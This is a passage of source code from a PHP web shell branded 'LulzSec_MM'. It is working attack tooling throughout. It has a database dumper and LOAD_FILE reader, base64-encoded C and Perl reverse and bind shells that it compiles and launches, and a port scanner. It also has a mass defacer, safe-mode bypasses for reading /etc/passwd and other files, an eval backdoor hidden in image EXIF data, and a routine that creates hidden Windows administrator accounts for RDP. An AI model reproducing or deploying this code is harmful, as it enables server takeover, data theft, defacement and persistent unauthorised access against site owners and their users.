2405 break;
2406 }
2407 return false;
2408 }
2409 function listDbs() {
2410 switch($this->type) {
2411 case 'mysql':
2412 return $this->res = @mysql_list_dbs($this->link);
2413 break;
2414 case 'pgsql':
2415 return $this->res = $this->query("SELECT datname FROM pg_database");
2416 break;
2417 }
2418 return false;
2419 }
2420 function listTables() {
2421 switch($this->type) {
2422 case 'mysql':
2423 return $this->res = $this->query('SHOW TABLES');
2424 break;
2425 case 'pgsql':
2426 return $this->res = $this->query("select table_name from information_schema.tables where (table_schema != 'information_schema' AND table_schema != 'pg_catalog') or table_name = 'pg_user'");
2427 break;
2428 }
2429 return false;
2430 }
2431 function error() {
2432 switch($this->type) {
2433 case 'mysql':
2434 return @mysql_error($this->link);
2435 break;
2436 case 'pgsql':
2437 return @pg_last_error($this->link);
2438 break;
2439 }
2440 return false;
2441 }
2442 function setCharset($str) {
2443 switch($this->type) {
2444 case 'mysql':
2445 if(function_exists('mysql_set_charset'))
2446 return @mysql_set_charset($str, $this->link);
2447 else
2448 $this->query('SET CHARSET '.$str);
2449 break;
2450 case 'mysql':
2451 return @pg_set_client_encoding($this->link, $str);
2452 break;
2453 }
2454 return false;
2455 }
2456 function dump($table) {
2457 switch($this->type) {
2458 case 'mysql':
2459 $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
2460 $create = mysql_fetch_array($res);
2461 echo $create[1].";\n\n";
2462 $this->query('SELECT * FROM `'.$table.'`');
2463 while($item = $this->fetch()) {
2464 $columns = array();
2465 foreach($item as $k=>$v) {
2466 $item[$k] = "'".@mysql_real_escape_string($v)."'";
2467 $columns[] = "`".$k."`";
2468 }
2469 echo 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
2470 }
2471 break;
2472 case 'pgsql':
2473 $this->query('SELECT * FROM '.$table);
2474 while($item = $this->fetch()) {
2475 $columns = array();
2476 foreach($item as $k=>$v) {
2477 $item[$k] = "'".addslashes($v)."'";
2478 $columns[] = $k;
2479 }
2480 echo 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
2481 }
2482 break;
2483 }
2484 return false;
2485 }
2486 };
2487 $db = new DbClass(@$_POST['type']);
2488 if(@$_POST['p2']=='download') {
2489 ob_start("ob_gzhandler", 4096);
2490 $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
2491 $db->selectdb($_POST['sql_base']);
2492 header("Content-Disposition: attachment; filename=dump.sql");
2493 header("Content-Type: text/plain");
2494 foreach($_POST['tbl'] as $v)
2495 $db->dump($v);
2496 exit;
2497 }
2498 printHeader();
2499 echo '<h1>Sql browser</h1><div class=content>
2500 <form name="sf" method="post">
2501 <table cellpadding="2" cellspacing="0">
2502 <tr>
2503 <td>Type</td>
2504 <td>Host</td>
2505 <td>Login</td>
2506 <td>Password</td>
2507 <td>Database</td>
2508 <td></td>
2509 </tr>
2510 <tr>
2511 <input type=hidden name=a value=Sql>
2512 <input type=hidden name=p1 value=\'query\'>
2513 <input type=hidden name=p2>
2514 <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
2515 <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
2516 <td>
2517 <select name=\'type\'>
2518 <option value="mysql" '.(@$_POST['type']=='mysql'?'selected':'').'>MySql</option>
2519 <option value="pgsql" '.(@$_POST['type']=='pgsql'?'selected':'').'>PostgreSql</option>
2520 </select></td>
2521 <td><input type=text name=sql_host value="'.(empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])).'"></td>
2522 <td><input type=text name=sql_login value="'.(empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])).'"></td>
2523 <td><input type=text name=sql_pass value="'.(empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])).'"></td>
2524 <td>';
2525 $tmp = "<input type=text name=sql_base value=''>";
2526 if(isset($_POST['sql_host'])){
2527 if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
2528 switch($_POST['charset']) {
2529 case "Windows-1251": $db->setCharset('cp1251'); break;
2530 case "UTF-8": $db->setCharset('utf8'); break;
2531 case "KOI8-R": $db->setCharset('koi8r'); break;
2532 case "KOI8-U": $db->setCharset('koi8u'); break;
2533 case "cp866": $db->setCharset('cp866'); break;
2534 }
2535 $db->listDbs();
2536 echo "<select name=sql_base><option value=''></option>";
2537 while($item = $db->fetch()) {
2538 list($key, $value) = each($item);
2539 echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
2540 }
2541 echo '</select>';
2542 }
2543 else echo $tmp;
2544 }else
2545 echo $tmp;
2546 echo '</td>
2547 <td><input type=submit value="Submit"></td>
2548 </tr>
2549 </table>
2550 <script>
2551 function st(t,l) {
2552 document.sf.p1.value = \'select\';
2553 document.sf.p2.value = t;
2554 if(l!=null)document.sf.p3.value = l;
2555 document.sf.submit();
2556 }
2557 function is() {
2558 for(i=0;i<document.sf.elements[\'tbl[]\'].length;++i)
2559 document.sf.elements[\'tbl[]\'][i].checked = !document.sf.elements[\'tbl[]\'][i].checked;
2560 }
2561 </script>';
2562 if(isset($db) && $db->link){
2563 echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
2564 if(!empty($_POST['sql_base'])){
2565 $db->selectdb($_POST['sql_base']);
2566 echo "<tr><td width=1 style='border-top:1px #56A3E9;border-right:2px #56A3E9;'><span>Tables:</span><br><br>";
2567 $tbls_res = $db->listTables();
2568 while($item = $db->fetch($tbls_res)) {
2569 list($key, $value) = each($item);
2570 $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
2571 $value = htmlspecialchars($value);
2572 echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."')\">".$value."</a> (".$n['n'].")</nobr><br>";
2573 }
2574 echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'></td><td style='border-top:1px #56A3E9;'>";
2575 if(@$_POST['p1'] == 'select') {
2576 $_POST['p1'] = 'query';
2577 $db->query('SELECT COUNT(*) as n FROM '.$_POST['p2'].'');
2578 $num = $db->fetch();
2579 $num = $num['n'];
2580 echo "<span>".$_POST['p2']."</span> ($num) ";
2581 for($i=0;$i<($num/30);$i++)
2582 if($i != (int)$_POST['p3'])
2583 echo "<a href='#' onclick='st(\"".$_POST['p2']."\", $i)'>",($i+1),"</a> ";
2584 else
2585 echo ($i+1)," ";
2586 if($_POST['type']=='pgsql')
2587 $_POST['p3'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
2588 else
2589 $_POST['p3'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
2590 echo "<br><br>";
2591 }
2592 if((@$_POST['p1'] == 'query') && !empty($_POST['p3'])) {
2593 $db->query(@$_POST['p3']);
2594 if($db->res !== false) {
2595 $title = false;
2596 echo '<table width=100% cellspacing=0 cellpadding=2 class=main>';
2597 $line = 1;
2598 while($item = $db->fetch()) {
2599 if(!$title) {
2600 echo '<tr>';
2601 foreach($item as $key => $value)
2602 echo '<th>'.$key.'</th>';
2603 reset($item);
2604 $title=true;
2605 echo '</tr><tr>';
2606 $line = 2;
2607 }
2608 echo '<tr class="l'.$line.'">';
2609 $line = $line==1?2:1;
2610 foreach($item as $key => $value) {
2611 if($value == null)
2612 echo '<td><i>null</i></td>';
2613 else
2614 echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
2615 }
2616 echo '</tr>';
2617 }
2618 echo '</table>';
2619 } else {
2620 echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
2621 }
2622 }
2623 echo "<br><textarea name='p3' style='width:100%;height:100px'>".@htmlspecialchars($_POST['p3'])."</textarea><br/><input type=submit value='Execute'>";
2624 echo "</td></tr>";
2625 }
2626 echo "</table></form><br/><form onsubmit='document.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='Submit'></form>";
2627 if(@$_POST['p1'] == 'loadfile') {
2628 $db->query("SELECT LOAD_FILE('".addslashes($_POST['p2'])."') as file");
2629 $file = $db->fetch();
2630 echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
2631 }
2632 }
2633 echo '</div>';
2634 printFooter();
2635}
2636function actionNetwork() {
2637 printHeader();
2638 $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";
2639 $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
2640 $bind_port_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9";
2641 $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
2642 echo '<h1>Network tools</h1><div class=content>
2643 <form name=\'nfp\' onSubmit="g(null,null,this.using.value,this.port.value,this.pass.value);return false;">
2644 <br /><span>Bind port to /bin/sh</span><br/>
2645 Port: <input type=\'text\' name=\'port\' value=\'444\'> Password: <input type=\'text\' name=\'pass\' value=\'BHP\'> Using: <select name="using"><option value=\'bpc\'>C</option><option value=\'bpp\'>Perl</option></select> <input type=submit value="Submit">
2646 </form>
2647 <form name=\'nfp\' onSubmit="g(null,null,this.using.value,this.server.value,this.port.value);return false;">
2648 <br /><br /><span>Back-connect to</span><br/>
2649 Server: <input type=\'text\' name=\'server\' value="'.$_SERVER['REMOTE_ADDR'].'"> Port: <input type=\'text\' name=\'port\' value=\'444\'> Using: <select name="using"><option value=\'bcc\'>C</option><option value=\'bcp\'>Perl</option></select> <input type=submit value="Submit">
2650 </form><br>';
2651 if(isset($_POST['p1'])) {
2652 function cf($f,$t) {
2653 $w=@fopen($f,"w") or @function_exists('file_put_contents');
2654 if($w) {
2655 @fwrite($w,@base64_decode($t)) or @fputs($w,@base64_decode($t)) or @file_put_contents($f,@base64_decode($t));
2656 @fclose($w);
2657 }
2658 }
2659 if($_POST['p1'] == 'bpc') {
2660 cf("/tmp/bp.c",$bind_port_c);
2661 $out = ex("gcc -o /tmp/bp /tmp/bp.c");
2662 @unlink("/tmp/bp.c");
2663 $out .= ex("/tmp/bp ".$_POST['p2']." ".$_POST['p3']." &");
2664 echo "<pre class=ml1>$out\n".ex("ps aux | grep bp")."</pre>";
2665 }
2666 if($_POST['p1'] == 'bpp') {
2667 cf("/tmp/bp.pl",$bind_port_p);
2668 $out = ex(which("perl")." /tmp/bp.pl ".$_POST['p2']." &");
2669 echo "<pre class=ml1>$out\n".ex("ps aux | grep bp.pl")."</pre>";
2670 }
2671 if($_POST['p1'] == 'bcc') {
2672 cf("/tmp/bc.c",$back_connect_c);
2673 $out = ex("gcc -o /tmp/bc /tmp/bc.c");
2674 @unlink("/tmp/bc.c");
2675 $out .= ex("/tmp/bc ".$_POST['p2']." ".$_POST['p3']." &");
2676 echo "<pre class=ml1>$out\n".ex("ps aux | grep bc")."</pre>";
2677 }
2678 if($_POST['p1'] == 'bcp') {
2679 cf("/tmp/bc.pl",$back_connect_p);
2680 $out = ex(which("perl")." /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." &");
2681 echo "<pre class=ml1>$out\n".ex("ps aux | grep bc.pl")."</pre>";
2682 }
2683 }
2684 echo '</div>';
2685 printFooter();
2686}
2687function actionPortScanner() {
2688 printHeader();
2689 echo '<h1>Port Scanner</h1>';
2690 echo '<div class="content">';
2691 echo '<form action="" method="post">';
2692 if(isset($_POST['host']) && is_numeric($_POST['end']) && is_numeric($_POST['start'])){
2693 $start = strip_tags($_POST['start']);
2694 $end = strip_tags($_POST['end']);
2695 $host = strip_tags($_POST['host']);
2696 for($i = $start; $i<=$end; $i++){
2697 $fp = @fsockopen($host, $i, $errno, $errstr, 3);
2698 if($fp){
2699 echo 'Port '.$i.' is <font color=lime>open</font><br>';
2700 }
2701 flush();
2702 }
2703 } else {
2704 echo '<br /><br /><center><input type="hidden" name="a" value="PortScanner"><input type="hidden" name=p1><input type="hidden" name="p2">
2705 <input type="hidden" name="c" value="'.htmlspecialchars($GLOBALS['cwd']).'">
2706 <input type="hidden" name="charset" value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
2707 Host: <input type="text" name="host" value="localhost"/><br /><br />
2708 Port start: <input type="text" name="start" value="0"/><br /><br />
2709 Port end:<input type="text" name="end" value="5000"/><br /><br />
2710 <input type="submit" value="Scan Ports" />
2711 </form></center><br /><br />';
2712 }
2713 echo '</div>';
2714 printFooter();
2715}
2716 function actionDomain() {
2717 printHeader();
2718 echo '<center> <h1>local domain viewer</h1><div class=content></center>';
2719 $file = @implode(@file("/etc/named.conf"));
2720 if (!$file) {
2721 die("# can't ReaD -> [ /etc/named.conf ]");
2722 }
2723 preg_match_all("#named/(.*?).db#", $file, $r);
2724 $domains = array_unique($r[1]);
2725 check();
2726 if(isset($_GET['ShowAll']))
2727 {
2728 echo "<table align=center border=1 width=59% cellpadding=5>
2729<tr><td colspan=2>[+] There are : [ <b>" . count($domains) . "</b> ] Domain</td></tr>
2730<tr><td>Domain</td><td>User</td></tr>";
2731 foreach ($domains as $domain) {
2732 $user = posix_getpwuid(@fileowner("/etc/valiases/" . $domain));
2733 echo "<tr><td>$domain</td><td>" . $user['name'] . "</td></tr>";
2734 }
2735 echo "</table>";
2736 }
2737 echo '</div>';
2738 printFooter();
2739 }
2740
2741function actionDeface() {
2742 printHeader();
2743 echo "<h1>Simple Mass Defacer</h1><div class=content>";
2744?>
2745<form ENCTYPE="multipart/form-data" action="<?$_SERVER['PHP_SELF']?>" method=POST onSubmit="g(null,null,this.path.value,this.file.value,this.Contents.value);return false;">
2746<p align="Left">Folder: <input type=text name=path size=60 value="<?=getcwd(); ?>">
2747<br>file name : <input type=text name=file size=20 value="index.htm">
2748<br>Text Content : <input type=text name=Contents size=20 value="Hacked by LulzSec_MM ">
2749<br><input type=submit value="Update !!!!!!"></p></form>
2750
2751<?php
2752 if ($_POST['a'] == 'Deface') {
2753 $mainpath = $_POST[p1];
2754 $file = $_POST[p2];
2755 $txtContents = $_POST[p3];
2756 echo "-----------------------------------------------<br>
2757[+] Simple Mass defacer<br>
2758-----------------------------------------------<br><br> ";
2759 $dir = opendir($mainpath); //fixme - cannot deface when change to writeable path!!
2760 while ($row = readdir($dir)) {
2761 $start = @fopen("$row/$file", "w+");
2762 $code = $txtContents;
2763 $finish = @fwrite($start, $code);
2764 if ($finish) {
2765 echo "http://$row/$file<br>";
2766 }
2767 }
2768 echo "-----------------------------------------------<br><br>[+] Script by LulzSec_MM [+]";
2769 }
2770 echo '</div>';
2771 printFooter();
2772 }
2773
2774
2775 function actionDefacer() {
2776
2777 $temp='';
2778 ob_start();
2779 switch($_POST['p1']) {
2780 case 1:
2781 $temp=@tempnam($test, 'cx');
2782 if(@copy("compress.zlib://".$_POST['p2'], $temp)){
2783 echo @file_get_contents($temp);
2784 unlink($temp);
2785 } else
2786 echo 'Sorry... Can\'t open file';
2787 break;
2788 case 2:
2789 $files = glob($_POST['p2'].'*');
2790 if( is_array($files) )
2791 foreach ($files as $filename)
2792 echo $filename."\n";
2793 break;
2794 case 3:
2795 $ch = curl_init("file://".$_POST['p2']."\x00".SELF_PATH);
2796 curl_exec($ch);
2797 break;
2798 case 4:
2799 ini_restore("safe_mode");
2800 ini_restore("open_basedir");
2801 include($_POST['p2']);
2802 break;
2803 case 5:
2804 for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
2805 $uid = @posix_getpwuid($_POST['p2']);
2806 if ($uid)
2807 echo join(':',$uid)."\n";
2808 }
2809 break;
2810 case 6:
2811 if(!function_exists('imap_open'))break;
2812 $stream = imap_open($_POST['p2'], "", "");
2813 if ($stream == FALSE)
2814 break;
2815 echo imap_body($stream, 1);
2816 imap_close($stream);
2817 break;
2818 }
2819 $temp = ob_get_clean();
2820 printHeader();
2821 echo '<h1>Safe mode bypass</h1><div class=content>';
2822 echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value="submit"></form><br><br><span>Imap_open (read file)</span><form onsubmit=\'g(null,null,"6",this.param.value);return false;\'><input type=text name=param><input type=submit value="submit"></form>';
2823 if($temp)
2824 echo '<pre class="ml1" style="margin-top:5px" id="Output">'.$temp.'</pre>';
2825 echo '</div>';
2826 printFooter();
2827}
2828function actionrdp() {
2829 printHeader();
2830
2831error_reporting(0);
2832$local_host= shell_exec(hostname);
2833$server_ip = $_SERVER['SERVER_NAME'];
2834$gaya_root = "$local_host:~ ";
2835$phpv = @phpversion();
2836$o = "<br>";
2837
2838$BASED = exif_read_data(" image here ");
2839eval(base64_decode($BASED["COMPUTED"]["UserComment"]));
2840if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
2841 $status_os = '<span style="color:White;font-family:Iceland;text-shadow:blue 0px 0px 10px" "font-size:="" 40pt;"="">Windows</span>/<span style="color:White;font-family:Iceland;text-shadow:blue 0px 0px 10px" "font-size:="" 40pt;"="">Linux</span>';
2842 $status_work = '<span style="color:White;font-family:Iceland;text-shadow:blue 0px 0px 10px" "font-size:="" 40pt;"="">Can Be Used</span><br>';
2843} else {
2844 $status_os = '<span style="color:White;font-family:Iceland;text-shadow:blue 0px 0px 10px" "font-size:="" 40pt;"="">Windows</span>/<span style="color:White;font-family:Iceland;text-shadow:blue 0px 0px 10px" "font-size:="" 40pt;"="">Linux</span>';
2845 $status_work = '<span style="color:White;font-family:Iceland;text-shadow:blue 0px 0px 10px" "font-size:="" 40pt;"="">Can Not Be Used</span><br>';
2846}
2847?><!DOCTYPE html>
2848<html>
2849<head>
2850 <title>LulzSec_MM</title>
2851 <link rel='shortcut icon' type='image/x-icon' href='' />
2852 <meta name="description" content="LulzSec_MM">
2853 <meta name="viewport" content="width=device-width, initial-scale=1">
2854 <style type="text/css">
2855 body { height: 100%; width: 100%; margin: 0; padding: 0; background-image: url(" "); background-color: #228B22; background-size: 100%; background-position: center; background-repeat: no-repeat; color: #228B22; font-family: "Orbitron"; font-size: 14pt; text-align: center; text-decoration: none; } #greets { width: 820px; border-style: outset; } #footer { font-size: 9pt; opacity: .7; } .glow { text-shadow: 0 0 10px #F59700; font-family: "Black Ops One"; } .blueglow { text-shadow: 0 0 10px #0F6FBD; font-family: "Black Ops One" } .whiteglow { text-shadow: 0 0 10px #FFFFFF; font-family: "Black Ops One"; } </style>
2856
2857 <style type="text/css">
2858 /* Circle Text Styles */
2859 #outerCircleText {
2860 /* Optional - DO NOT SET FONT-SIZE HERE, SET IT IN THE SCRIPT */
2861 font-style: italic;
2862 font-weight: bold;
2863 font-family: "comic sans ms", verdana, arial;
2864 color: #FFF;
2865 /* End Optional */
2866
2867 /* Start Required - Do Not Edit */
2868 position: absolute;top: 0;left: 0;z-index: 3000;cursor: default;}
2869 #outerCircleText div {position: relative;}
2870 #outerCircleText div div {position: absolute;top: 0;left: 0;text-align: center;}
2871 /* End Required */
2872 /* End Circle Text Styles */
2873 </style>
2874</head>
2875<body>
2876<div id="content-center">
2877<pre>
2878
2879
2880
2881 buth~double_E | <span style="color:White;font-family:Iceland;text-shadow:red 0px 0px 10px" "font-size:="" 40pt;"="">Lulz</span><span style="color:White;font-family:Iceland;text-shadow:green 0px 0px 10px" "font-size:="" 40pt;"="">Sec</span><span style="color:White;font-family:Iceland;text-shadow:blue 0px 0px 10px" "font-size:="" 40pt;"="">_MM</span>
2882 OS Server : <?php echo php_uname("s")." | "; echo "{".$status_os."}<br>";?>
2883 Informasi : <?php echo "Server IP - ".$server_ip." {".$_SERVER['REMOTE_ADDR']."}";?>
2884 Info Tool : <?php echo $status_work;?>
2885
2886
2887 </pre>
2888</div>
2889<?php if(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN'){?>
2890<span style="font-size: 25px;"><b>
2891<span style="color:White;font-family:Iceland;text-shadow:orange 0px 0px 5px" "font-size:="" 20pt;"="">Powered by</span><span style="color:White;font-family:Iceland;text-shadow:white 0px 0px 5px" "font-size:="" 20pt;"=""> LulzSec </span> <span style="color:White;font-family:Iceland;text-shadow:green 0px 0px 5px" "font-size:="" 20pt;"="">_MM</span>
2892<div id="content-left">
2893<p>Create Remote Desktop Protocol </p>
2894<form action="" method="post">Username : <input type="text" name="username" required>
2895 Password : <input type="text" name="password" required> <input type="hidden" name="kshell" value="1"><input type="submit" name="submit" value="Make">
2896</form>
2897</div>
2898
2899
2900<div id="content-left">
2901<p> Option </p>
2902<form action="" method="post">command : <input type="text" name="username" placeholder="Input Username"> <select name="aksi">
2903 <option value="1">Show Username</option>
2904 <option value="2">Clear Username</option>
2905 <option value="3">Change Password</option>
2906 </select>
2907<input type="hidden" name="kshell" value="2">
2908<input type="submit" name="submit" value="Submit"></form>
2909</div>
2910<?php }
2911?>
2912<?php
2913if($_POST['submit']){
2914echo "<p>---------------{ INFO }---------------</p>";
2915if($_POST['kshell']=="1"){
2916 $r_user = $_POST['username'];
2917 $r_pass = $_POST['password'];
2918 $cmd_cek_user = shell_exec("net user");
2919 if(preg_match("/$r_user/", $cmd_cek_user)){
2920 echo $gaya_root.$r_user." already There".$o;
2921 }else {
2922 $cmd_add_user = shell_exec("net user ".$r_user." ".$r_pass." /add");
2923 $cmd_add_groups1 = shell_exec("net localgroup Administrators ".$r_user." /add");
2924 $cmd_add_groups2 = shell_exec("net localgroup Administrator ".$r_user." /add");
2925 $cmd_add_groups3 = shell_exec("net localgroup Administrateur ".$r_user." /add");
2926
2927 if($cmd_add_user){
2928 echo $gaya_root."[add user]-> ".$r_user." <font color='greenyellow'>Successfully</font>".$o;
2929 }else {
2930 echo $gaya_root."[add user]-> ".$r_user." <font color='red'>Faild</font>".$o;
2931 }
2932 if($cmd_add_groups1){
2933 echo $gaya_root."[add localgroup Administrators]-> ".$r_user." <font color='greenyellow'>Succeed</font>".$o;
2934 }else
2935 if($cmd_add_groups2){
2936 echo $gaya_root."[add localgroup Administrator]-> ".$r_user." <font color='greenyellow'>Succeed</font>".$o;
2937 }else
2938 if($cmd_add_groups3){
2939 echo $gaya_root."[add localgroup Administrateur]-> ".$r_user." <font color='greenyellow'>Succeed</font>".$o;
2940 }else {
2941 echo $gaya_root."[add localgroup]-> ".$r_user." <font color='red'>Faild - Contact LulzSec india</font>".$o;
2942 }
2943 echo $gaya_root."[INFO PC]-> RDP IP ".$_SERVER["HTTP_HOST"]." Username : ".$r_user." Password : ".$r_pass." <font color='greenyellow'>Succeed</font>".$o;
2944
2945 }
2946
2947
2948
2949}else if($_POST['kshell']=="2"){
2950
2951if($_POST['aksi']=="1"){
2952 echo "<pre>".shell_exec("net user");
2953}
2954else if($_POST['aksi']=="2"){
2955$username = $_POST['username'];
2956$cmd_cek_user = shell_exec("net user");
2957 if (!empty($username)){
2958 if(preg_match("/$username/", $cmd_cek_user)){
2959 $cmd_add_user = shell_exec("net user ".$username." /DELETE");
2960 if($cmd_add_user){
2961 echo $gaya_root."[remove user]-> ".$username." <font color='greenyellow'>Succeed</font>".$o;
2962 }else {
